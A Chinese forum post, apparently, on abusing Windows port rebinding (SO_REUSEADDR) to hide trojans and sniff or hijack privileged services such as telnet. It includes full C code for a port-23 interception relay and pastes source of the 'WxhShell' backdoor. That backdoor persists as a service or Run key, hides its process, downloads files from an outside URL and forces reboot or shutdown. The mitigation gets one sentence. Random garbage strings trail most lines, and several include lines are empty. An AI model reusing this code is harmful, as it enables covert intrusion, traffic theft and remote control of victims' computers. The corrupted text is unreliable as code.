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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +=8Po'E^!d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CKur$$B  
O^$Zz<  
  saddr.sin_family = AF_INET; m{yON&y  
syfR5wc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qs b4@jt+  
4%7*tVG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4>HGwk@+8  
sP |i '  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OE"Bb   
*Wau7  
  这意味着什么?意味着可以进行如下的攻击:  M:$nL  
Og npzN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K!~ ](_W!  
<>oW f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iau&k `b`  
[<;2C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `7A@\Ha3  
F"C Yrt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B;Z^.3  
f5-={lUlIS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A%O#S<sa  
E=QQZ\w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (Vv]:Y]  
/0uinx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eH8.O  
jYF3u0 )  
  #include @ $R a  
  #include ;$Jvqq|T  
  #include q}i87a;m  
  #include    y^rg%RV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #*/h*GNMs  
  int main()  B" z5j  
  { hH/ O2  
  WORD wVersionRequested; ?0a 0 R  
  DWORD ret; hdL2`5RFF  
  WSADATA wsaData; MO/N*4U2  
  BOOL val; g-}sVvM  
  SOCKADDR_IN saddr; hzb|:  
  SOCKADDR_IN scaddr; ~dLZ[6Z  
  int err; nSiNSLv  
  SOCKET s; H%N+V r3O,  
  SOCKET sc; }"Cn kg  
  int caddsize; v],DBw9  
  HANDLE mt; ?OyW|jL  
  DWORD tid;   SI9hS4<j  
  wVersionRequested = MAKEWORD( 2, 2 ); cg%CYV)  
  err = WSAStartup( wVersionRequested, &wsaData ); WU\bJ}  
  if ( err != 0 ) { W|e>  
  printf("error!WSAStartup failed!\n"); W!X]t)Ow  
  return -1; c,wU?8Nc|$  
  } Sq,ty{j2%  
  saddr.sin_family = AF_INET; Qg!*=<b  
   zY+Et.lg]^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3(&F.&C$$  
bn35f<+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M(uB ;Te  
  saddr.sin_port = htons(23); Gf\_WNrSE+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $O8V!R*  
  { v!xrUyN~m  
  printf("error!socket failed!\n"); ~S!kn1&O  
  return -1; &:*+p-!2<  
  } {eEWfMKIn  
  val = TRUE; GcCs}(eo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _'U?!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xk8p,>/  
  { dCTpO  
  printf("error!setsockopt failed!\n"); w"iZn  
  return -1; uLljM{ I  
  } T}[vfIJD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C>dJ:.K%H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E 5{)d~q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Dt.Wb&V_w  
/ nFw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) % cdP*  
  { VH6|(=8  
  ret=GetLastError(); <1BK 5%?  
  printf("error!bind failed!\n"); VBJ]d|  
  return -1; , ~X;M"U  
  } `h!&->  
  listen(s,2); @F^L4 N':  
  while(1) #.YcIR)  
  { q:EQ,  
  caddsize = sizeof(scaddr); 2kq@*}ys  
  //接受连接请求 s.)w A`&&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T+h{Aeg  
  if(sc!=INVALID_SOCKET) %iC63)(M  
  { y03a\K5[KQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O Zm[i H  
  if(mt==NULL) @ -d4kg  
  { \#,#_  
  printf("Thread Creat Failed!\n"); j]O[I^5  
  break; ix@rq#  
  } 3uG5b8?  
  } L.[uMuUa  
  CloseHandle(mt); d<? :Q  
  } 0\nhg5]?  
  closesocket(s); 5yi q#  
  WSACleanup(); )#~fS28j  
  return 0; !!%nl_I(  
  }   B1#>$"_0}=  
  DWORD WINAPI ClientThread(LPVOID lpParam) >C&<dO#i  
  { M~F2cX W  
  SOCKET ss = (SOCKET)lpParam; SfSEA^@|  
  SOCKET sc; / i2-h  
  unsigned char buf[4096]; u>6/_^iq  
  SOCKADDR_IN saddr; WCTW#<izm  
  long num; `Kw8rG\]:  
  DWORD val; RmV/wY  
  DWORD ret; D@W3;T^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nvVsO>2{ o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x>" JWD  
  saddr.sin_family = AF_INET; TbAdTmW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XPo'iI-  
  saddr.sin_port = htons(23);  .OS?^\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )}\@BtcjA]  
  { )ZyuF(C&  
  printf("error!socket failed!\n"); VhIIW"1  
  return -1; gD+t'qg$  
  } -0WCwv  
  val = 100; psy(]Pf  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SJ7=<y}[d  
  { <?Izfl6  
  ret = GetLastError(); ~<[5uZIo  
  return -1; 6Ok=q:;  
  } |P0L,R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~LW%lMy;^|  
  { SSbK[aR  
  ret = GetLastError(); T4Gw\Z%  
  return -1; xWe1F2nY  
  } vP)~j1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Rn_W|"  
  { p<fgUVR  
  printf("error!socket connect failed!\n"); 7"NJraQ6  
  closesocket(sc); 1\{U<Oli  
  closesocket(ss); )r,R!8  
  return -1; vek:/'sj3p  
  } FDs^S)B  
  while(1) jTUf4&b-  
  { _JIUds5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4yZ+,hqJ<9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SJc@iffS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KM(9& 1/  
  num = recv(ss,buf,4096,0); jP.b oj_u*  
  if(num>0) @&xaaqQ-  
  send(sc,buf,num,0); L0|hc  
  else if(num==0) c1AG3Nb  
  break; o``>sBZOq  
  num = recv(sc,buf,4096,0); /A))"D  
  if(num>0) >AX~c jo  
  send(ss,buf,num,0); ;(0$~O$3u  
  else if(num==0) AD%D ,l  
  break; bKMR7&e.Ep  
  } ~TFYlV  
  closesocket(ss); _AB9BQm  
  closesocket(sc); ?&<o_/`-H5  
  return 0 ; pH l2!{z  
  } I&fh  
po2[uJ  
`CEj 4  
========================================================== l(w vQO  
4zfRD`;  
下边附上一个代码,,WXhSHELL b hr E  
?(ls<&s{w  
========================================================== 8u5 'g1M  
,\9mAt1O  
#include "stdafx.h" S O:V|Tfj  
^N2M/B|0  
#include <stdio.h> ._MAHBx+G  
#include <string.h> dGD^op,6g  
#include <windows.h> j5h 6u,^:  
#include <winsock2.h> d J%Rk#?;A  
#include <winsvc.h> M$4=q((0  
#include <urlmon.h> b'oGt,  
/`O]etr`d  
#pragma comment (lib, "Ws2_32.lib") 1H,tP|s  
#pragma comment (lib, "urlmon.lib") TFYTvUn  
=_m9so  
#define MAX_USER   100 // 最大客户端连接数 `=}UFu  
#define BUF_SOCK   200 // sock buffer :{ WrS  
#define KEY_BUFF   255 // 输入 buffer 'bI~61{A  
} B9~X  
#define REBOOT     0   // 重启 6+B{4OY  
#define SHUTDOWN   1   // 关机 " $IXZ  
=i^<a7M~  
#define DEF_PORT   5000 // 监听端口 cI%"Ynq"3  
Q6!v3P/h  
#define REG_LEN     16   // 注册表键长度 6;[/ 9  
#define SVC_LEN     80   // NT服务名长度 1S(\2{Ylo  
[&pW&>p3  
// 从dll定义API X:``{!~geo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u|OzW}xb7j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >g>`!Sf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =GKS;d#/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MYw8wwX0kJ  
0+<eRR9 -  
// wxhshell配置信息 4o4 =  
struct WSCFG { 4`U0">gY  
  int ws_port;         // 监听端口 MYhx'[4[3  
  char ws_passstr[REG_LEN]; // 口令 xBRh !w  
  int ws_autoins;       // 安装标记, 1=yes 0=no {`H<=h__  
  char ws_regname[REG_LEN]; // 注册表键名 <ql w+RVt  
  char ws_svcname[REG_LEN]; // 服务名 m&`(p f4A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4OOn,09  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \SiHrr5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S2 "=B&,}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y%0d\{@a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o`\.I&Ij  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w&|R5Q  
"o{)X@YN]  
}; I& M36f  
"\/^/vn?  
// default Wxhshell configuration _))I.c=v  
struct WSCFG wscfg={DEF_PORT, Gh2Q$w:  
    "xuhuanlingzhe", @ <OO  
    1, H\| ]!8w5Z  
    "Wxhshell", hY=w|b=Y  
    "Wxhshell", Rj} o4s2x  
            "WxhShell Service", *m$PH"  
    "Wrsky Windows CmdShell Service", MZ5Y\-nq\  
    "Please Input Your Password: ", 6 tc:A5mK  
  1, -!|WZ   
  "http://www.wrsky.com/wxhshell.exe", :GQIlA8cF$  
  "Wxhshell.exe" Jh43)#G-  
    }; zRV!(Y  
nJleef9  
// 消息定义模块 wMz-U- z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OpK. Lsd0y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -*|:v67C&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /BMtcCPG!  
char *msg_ws_ext="\n\rExit."; rps(Jos_~  
char *msg_ws_end="\n\rQuit."; a(@p0YpKT  
char *msg_ws_boot="\n\rReboot..."; =9pw uH  
char *msg_ws_poff="\n\rShutdown..."; Pknc[h},  
char *msg_ws_down="\n\rSave to "; !6zyJc @01  
T3Frc ]6,4  
char *msg_ws_err="\n\rErr!"; nw0L1TP/J  
char *msg_ws_ok="\n\rOK!"; MCk^Tp!  
n1*&%d'7  
char ExeFile[MAX_PATH]; -!J2x 8Ri  
int nUser = 0; W}XYmF*_?  
HANDLE handles[MAX_USER]; B f5&}2u  
int OsIsNt; b4Cfd?'  
d /B'[Ur  
SERVICE_STATUS       serviceStatus; o3n3URu\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mG831v?  
)RwBg8  
// 函数声明 ?0rOcaTY  
int Install(void); iW|s|1mh3  
int Uninstall(void); ge0's+E+1  
int DownloadFile(char *sURL, SOCKET wsh); K8 b+   
int Boot(int flag);  c6Lif)4  
void HideProc(void); Q !9HA[Ly  
int GetOsVer(void); ,Z>wbMJig  
int Wxhshell(SOCKET wsl); e=t<H"&  
void TalkWithClient(void *cs); \Z)#lF|^  
int CmdShell(SOCKET sock); 4!l sk:R  
int StartFromService(void); ?fK^&6pI  
int StartWxhshell(LPSTR lpCmdLine); +7Yu^&  
hCzjC|EO~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _i3i HR?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,0!uem}1i  
%won=TG8  
// 数据结构和表定义 LBiowd[  
SERVICE_TABLE_ENTRY DispatchTable[] = m|pTn#*`  
{ Ue(r} *  
{wscfg.ws_svcname, NTServiceMain}, vd}*_d  
{NULL, NULL} x*.Ye 5Jb  
}; Yd' H+r5b  
3{N\A5 ~  
// 自我安装 c 9rVgLqn!  
int Install(void) fO].e"}  
{ ]7a;jNQu  
  char svExeFile[MAX_PATH]; [6D>f?z  
  HKEY key; :GQ UM6  
  strcpy(svExeFile,ExeFile); I4)Nb WQ  
k$C"xg2  
// 如果是win9x系统,修改注册表设为自启动 Dp*:Q){>E  
if(!OsIsNt) { 8q?;2w\l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mZwi7s&u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W*k`  
  RegCloseKey(key); Ko#4z%Yq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z!fdx|PUX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u(W^Nou/+  
  RegCloseKey(key); YgCc|W3{  
  return 0; $v]T8|h  
    } o2DtCU-A  
  } ,I]7g4~  
} v btAq^1  
else { VS?dvZ1cC  
<^xfcYx\  
// 如果是NT以上系统,安装为系统服务 L 5+J ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U,e'ZRU6  
if (schSCManager!=0) Aj,]n>{  
{ ],n%Xp  
  SC_HANDLE schService = CreateService a`#S|'oatC  
  ( 0pD W _  
  schSCManager, +%P t_  
  wscfg.ws_svcname, Vo%Yf9C  
  wscfg.ws_svcdisp, TfJL+a0  
  SERVICE_ALL_ACCESS, kLJlS,nh\r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wG+=}1X  
  SERVICE_AUTO_START, TMK'(6dH  
  SERVICE_ERROR_NORMAL, yI8 SQ$w0y  
  svExeFile, J' W}7r  
  NULL, n!a<:]b<  
  NULL, PdT83vOCE  
  NULL, 5O&d3;p'  
  NULL, [FGgkd}  
  NULL _R)&k%i}  
  ); C1d 04Q  
  if (schService!=0) 'Q5&5UrBr  
  { c4\C[$  
  CloseServiceHandle(schService); ,'~ #Ch  
  CloseServiceHandle(schSCManager); J{d(1gSZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U R}kB&t  
  strcat(svExeFile,wscfg.ws_svcname); K"L_`.&Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c15r':.5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c<?[d!vI  
  RegCloseKey(key); ?w*yW;V`  
  return 0; 0Q'v HZ"  
    } Pey//U  
  } x=.tiM{#  
  CloseServiceHandle(schSCManager); /}=a{J  
} 4d0#86l~J/  
} =L"^.c@  
402x<H  
return 1; ym\(PCa5`  
} ryg4h Hspl  
[ByQ;s5tY  
// 自我卸载 z>G;(F2  
int Uninstall(void) &'s^nn]  
{ 8V-,Xig;`  
  HKEY key; ACb/ITu  
s"i~6})K<$  
if(!OsIsNt) { ,t1vb3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A[`G^ $  
  RegDeleteValue(key,wscfg.ws_regname); #zt*xS[{0  
  RegCloseKey(key); Y9u;H^^G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qK?$= h.  
  RegDeleteValue(key,wscfg.ws_regname); ,)zt AFn=  
  RegCloseKey(key); MLV:U  
  return 0; '.Z4 hHX  
  } ^;r+W -MQ  
} \5~;MI.Sq  
} $o.Kn9\  
else { M;KA]fmc  
o2aM#Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 94Ud@F9d5  
if (schSCManager!=0) H8f]}  
{ 78 d_io}w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NG" yPn  
  if (schService!=0) Bd5+/G=m  
  { Fnb2.R'+  
  if(DeleteService(schService)!=0) { $"\O;dp7l  
  CloseServiceHandle(schService); 1 {Jb"  
  CloseServiceHandle(schSCManager);  F~6#LT  
  return 0; ^ S  
  } X\\7$  
  CloseServiceHandle(schService); ` H XEZ|  
  } e3 v5,.  
  CloseServiceHandle(schSCManager); vc8?I."?  
}  W8]V  
} PK 4`5uT  
'eyJS`  
return 1; ?gSSli[  
} R^%e1 KO]  
+}a C-&  
// 从指定url下载文件 /syVGmS'M  
int DownloadFile(char *sURL, SOCKET wsh) D. Kqc  
{ 6;+jIkkD)  
  HRESULT hr; DI1(`y  
char seps[]= "/"; __I/F6{ 9V  
char *token; ^:u?ye;  
char *file; *5OCqU+g  
char myURL[MAX_PATH]; Cqx v"NN  
char myFILE[MAX_PATH]; +@<KC  
JYm7@gx  
strcpy(myURL,sURL); gsPl _  
  token=strtok(myURL,seps); UXH"si:  
  while(token!=NULL) P=`1rjPE  
  { !tXZ%BP.u  
    file=token; /(?@mnq_  
  token=strtok(NULL,seps); oY=1C}  
  } 3A,rHYS  
"NzD1k6.L  
GetCurrentDirectory(MAX_PATH,myFILE); V*RdDF7  
strcat(myFILE, "\\"); pBp #a  
strcat(myFILE, file); ?WpenUWk  
  send(wsh,myFILE,strlen(myFILE),0); )R?;M  
send(wsh,"...",3,0); ]]BOk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {2 %aCCV  
  if(hr==S_OK) F[Q!d6  
return 0; (qBvoLkF9N  
else ys'T~Cs  
return 1; @hif$  
LA%bq_> f  
} VK:8 Nk_y  
AIRr{Y  
// 系统电源模块 syPWs57pH  
int Boot(int flag) .lNs4e  
{ ! bU\zH  
  HANDLE hToken; Xsuwa-G!5~  
  TOKEN_PRIVILEGES tkp; z0bJ?~w,  
@;:>GA  
  if(OsIsNt) { /nZ;v4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vq!uD!lr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7dOyxr"H-  
    tkp.PrivilegeCount = 1; @5VV|Wt=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <rIz Z'D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^qvZ XS  
if(flag==REBOOT) { Uxu\u0*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E9}{1A  
  return 0; 8VQ 24r  
} x\\~SGd  
else { ycAKK?O*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a9U_ug58  
  return 0; )92r{%N  
} #VVr"*7$  
  } -\,zRIOK  
  else { o "z@&G" ^  
if(flag==REBOOT) { $` VFdAe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) # 1.YKo  
  return 0; )G1P^WV4  
} n_u1&a'  
else { 6oD\-H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k`{7}zxS  
  return 0; +q<B.XxkA  
} o<i,*y88  
} fc_2D|  
z=7|{G  
return 1; fJAnKUF)  
} \qh *E#j  
^aZAw%K  
// win9x进程隐藏模块 >~nF=   
void HideProc(void) 58tVx'1y  
{ t*XN_=E$f  
FFKGd/:!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \ I`p|&vG  
  if ( hKernel != NULL ) wzCUZ1N9q  
  { fbvbz3N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @Xp~2@I=ls  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;]sYf  
    FreeLibrary(hKernel); ` `U^COD  
  } m Lk(y*  
g'$tj&Vk:  
return; bG F7Zh9  
} g\SrO {*  
,XkGe   
// 获取操作系统版本 5ETip'<KT6  
int GetOsVer(void) #/2$+x  
{ t2HJsMX  
  OSVERSIONINFO winfo; XFVV},V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lj=l4 &.i  
  GetVersionEx(&winfo); *l&S-=]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eYX5(`c[  
  return 1; SQ*k =4*r  
  else 4LH[4Yj?`  
  return 0; e4>"92hX  
} *hLQ  
{LHR!~d}5f  
// 客户端句柄模块 (~~w7L s  
int Wxhshell(SOCKET wsl) "es?=  
{ 4NN$( S-W  
  SOCKET wsh; 7nq3S  
  struct sockaddr_in client; <S75($  
  DWORD myID; ikD1N  
[BBEEI=|r  
  while(nUser<MAX_USER) *Lqg=9kzr  
{ 7JJ/D4uT  
  int nSize=sizeof(client); $Xm6N@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q$(5Vd:  
  if(wsh==INVALID_SOCKET) return 1; bg,9@ }"F  
5{e,L>H<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |*/[`|*G  
if(handles[nUser]==0) 3DgsI7-F  
  closesocket(wsh); Vwk#qgnX  
else %UUH"  
  nUser++; 9^FziM  
  } 5irwz4.4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FGWN}&K  
94sk kEj  
  return 0; CI U1R;  
} (" ~ DJ=  
8K(Z0  
// 关闭 socket F!zP<A "  
void CloseIt(SOCKET wsh) >MK>gLg}!  
{ M-)R Q-h  
closesocket(wsh); 7>XDNI  
nUser--; c;0Vs,DUmG  
ExitThread(0); j>Iaq"  
} "tjLc6Xl^  
Wq*b~Lw  
// 客户端请求句柄 D:^$4}h f  
void TalkWithClient(void *cs) WrPUd{QM  
{ )^||\G  
9O{b]=>wq  
  SOCKET wsh=(SOCKET)cs; l3Njq^T  
  char pwd[SVC_LEN]; I&n  
  char cmd[KEY_BUFF]; X@@8"@/u|*  
char chr[1]; yRp"jcD  
int i,j; 98=wnWX 6$  
H]4Hj  
  while (nUser < MAX_USER) { KL$bqgc(p3  
^7zu<lX  
if(wscfg.ws_passstr) { 1I@8A>2^OX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N7E$G{TT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hbv6_H  
  //ZeroMemory(pwd,KEY_BUFF);  |@NiW\O  
      i=0; T91moRv  
  while(i<SVC_LEN) { niB `2 J  
ARcB'z\r  
  // 设置超时 Zo1,1O  
  fd_set FdRead; ;XM{o:1Y[  
  struct timeval TimeOut; F}Vr:~  
  FD_ZERO(&FdRead); 2'=T[<nNB  
  FD_SET(wsh,&FdRead); ifN64`AhRX  
  TimeOut.tv_sec=8; uqz]J$  
  TimeOut.tv_usec=0; }D+}DPL{^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X7k.zlH7T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @(r /dZc  
 N?Lb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >pUtwIP  
  pwd=chr[0]; =UyLk-P w  
  if(chr[0]==0xd || chr[0]==0xa) { jw-0M1B  
  pwd=0; PkI:*\R  
  break; 7{&|;U  
  } &0f5:M{P  
  i++; %v20~xW :o  
    } 9z6XF]A  
N F)~W#  
  // 如果是非法用户,关闭 socket dOa%9[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jKt7M>P  
} Eke5Nb  
6Gf?m;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2-Y<4'>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;b-XWK=  
A}eOFu`  
while(1) { mI74x3 [  
SlsdqP 9  
  ZeroMemory(cmd,KEY_BUFF); oudxm[/U  
lNSLs"x^  
      // 自动支持客户端 telnet标准   ,VO2a mI  
  j=0; 8WnwQ%;m?  
  while(j<KEY_BUFF) { L3CP`cx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZP{*.]Qu  
  cmd[j]=chr[0]; ~"A+G4jl  
  if(chr[0]==0xa || chr[0]==0xd) { `OSN\"\ad  
  cmd[j]=0; '],J$ge  
  break; @S|XGf  
  } 1GzAG;UUo6  
  j++; y5!KXAQ%  
    } a+n0|CvF  
T=ev[ mS  
  // 下载文件 W6Y]N/v3>  
  if(strstr(cmd,"http://")) { JtER_(.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |\pbir  
  if(DownloadFile(cmd,wsh)) /Rl6g9}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Z1CWzq(  
  else O({2ivX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `V##Y  
  } .V,@k7U,V  
  else { FSND>\>  
p, #o<W  
    switch(cmd[0]) { P&f7@MOV.P  
  J{Q|mD=  
  // 帮助 ~@}Bi@*  
  case '?': { eio 4k-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B {>7-0  
    break; e%b6(%  
  } u?C#4  
  // 安装 wb0L.'jyR)  
  case 'i': { WlU0:(d  
    if(Install()) VVlr*`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q<M2,YrbAI  
    else jyCXJa-!-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q@{Bt{$x  
    break; GWfL  
    } $&=S#_HQS  
  // 卸载 LGn:c;  
  case 'r': { n@) K #  
    if(Uninstall()) $` ""  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |p,P46I  
    else vX.VfY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gw!vlwC&T  
    break; w(L4A0K[  
    } V-BiF>+  
  // 显示 wxhshell 所在路径 6e |*E`I  
  case 'p': { HAa; hb  
    char svExeFile[MAX_PATH]; *}*FX+px)  
    strcpy(svExeFile,"\n\r"); Fe4(4  
      strcat(svExeFile,ExeFile); p>huRp^w  
        send(wsh,svExeFile,strlen(svExeFile),0); h'{ C[d  
    break; F1yqxWHeo  
    } [1S|dc>.O%  
  // 重启 " )1V]}+m  
  case 'b': { cz8T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~nay"g:  
    if(Boot(REBOOT)) e~=;c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JJN.ugT}1  
    else { 9P+-#B  
    closesocket(wsh); vQ 6^xvk]  
    ExitThread(0); ZpQ)IHA.  
    } 4\iOeZRf  
    break; ]Gsv0Xk1  
    } s*.hl.k.  
  // 关机 T{-CkHf9Q  
  case 'd': { ~UP[A'9jJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A PEE ~  
    if(Boot(SHUTDOWN)) \XZ/v*d0  
